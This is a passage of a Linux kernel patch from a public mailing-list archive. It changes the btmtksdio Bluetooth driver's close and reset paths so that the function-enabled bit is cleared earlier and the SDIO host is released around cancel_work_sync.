+	    !test_bit(BTMTKSDIO_HW_RESET_ACTIVE, &bdev->tx_state))
 		sdio_writel(bdev->func, C_INT_EN_SET, MTK_REG_CHLPCR, NULL);
 
 	sdio_release_host(bdev->func);
@@ -741,6 +743,8 @@ static int btmtksdio_close(struct hci_dev *hdev)
 	if (!test_bit(BTMTKSDIO_FUNC_ENABLED, &bdev->tx_state))
 		return 0;
 
+	clear_bit(BTMTKSDIO_FUNC_ENABLED, &bdev->tx_state);
+
 	sdio_claim_host(bdev->func);
 
 	/* Disable interrupt */
@@ -748,11 +752,12 @@ static int btmtksdio_close(struct hci_dev *hdev)
 
 	sdio_release_irq(bdev->func);
 
+	sdio_release_host(bdev->func);
 	cancel_work_sync(&bdev->txrx_work);
+	sdio_claim_host(bdev->func);
 
 	btmtksdio_fw_pmctrl(bdev);
 
-	clear_bit(BTMTKSDIO_FUNC_ENABLED, &bdev->tx_state);
 	sdio_disable_func(bdev->func);
 
 	sdio_release_host(bdev->func);
@@ -1295,7 +1300,10 @@ static void btmtksdio_reset(struct hci_dev *hdev)
 
 	sdio_writel(bdev->func, C_INT_EN_CLR, MTK_REG_CHLPCR, NULL);
 	skb_queue_purge(&bdev->txq);
+
+	sdio_release_host(bdev->func);
 	cancel_work_sync(&bdev->txrx_work);
+	sdio_claim_host(bdev->func);
 
 	gpiod_set_value_cansleep(bdev->reset, 1);
 	msleep(100);
-- 
2.54.0.1136.gdb2ca164c4-goog



^ permalink raw reply related


This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox